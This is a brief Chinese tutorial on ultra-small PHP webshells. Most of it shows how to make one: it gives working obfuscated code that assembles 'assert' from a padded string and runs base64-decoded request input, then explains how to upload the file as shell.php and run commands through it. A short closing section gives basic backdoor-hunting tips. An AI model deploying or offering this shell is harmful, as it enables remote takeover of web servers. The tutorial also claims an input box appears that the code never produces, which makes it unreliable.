超小PHP小马小结(方便查找后门的朋友)

下面我将详细讲解“超小PHP小马小结(方便查找后门的朋友)”的完整攻略。

一、什么是PHP小马？

首先，我们需要明确什么是PHP小马（PHP Shell）。简单的说，PHP Shell是一个利用PHP语言编写的一种可执行文件，用于远程控制Web服务器。

也就是说，黑客们通过上传PHP小马到服务器上，可以通过Web浏览器或者命令执行操作，来获取服务器的控制权，从而进行非法操作。

二、超小PHP小马制作

接下来，我们将介绍如何制作一个超小的PHP小马，用于在服务器上进行远程控制。

1. 首先，我们需要准备好要上传的PHP小马的代码。以下是一个示例代码：

<?php @$_REQUEST['x']=str_ireplace('a','','saataraiaa_aafunaactiaon');@$_REQUEST['y']=$_REQUEST['x'](base64_decode($_REQUEST['z']));?>

1. 将代码保存为.php格式的文件，例如shell.php。

2. 将shell.php上传至服务器的指定目录中。通常我们可以上传至网站根目录下的一个子目录中，例如：/uploads/。

3. 在Web浏览器中输入上传后的PHP小马的URL地址，例如：http://www.example.com/uploads/shell.php。如果一切都正常，就可以看到一个简单的输入框。

4. 在输入框中输入任意的命令，例如：ls -al。如果服务器的配置允许，就可以看到命令执行结果。

三、查找服务器后门

最后，我们将介绍如何查找服务器中的后门，以防止黑客们利用PHP小马等工具进行恶意操作。

1. 首先，我们需要登录到服务器的终端中。

2. 输入以下命令，找出当前服务器上所有的.php文件：

find / -name "*.php"

1. 逐个检查这些.php文件，查看是否存在可疑的代码。可以使用vim等编辑器进行查看。

2. 在检查过程中，需要注意一些常见的后门特征，例如：

3. 注释掉的eval函数调用。

4. 大量使用字符串替换函数等代码加密措施。

5. 大量使用@符号等错误掩盖符。

6. 发现可疑代码后，应及时对其进行处理，以确保服务器的安全。

以上就是超小PHP小马制作和查找服务器后门的完整攻略。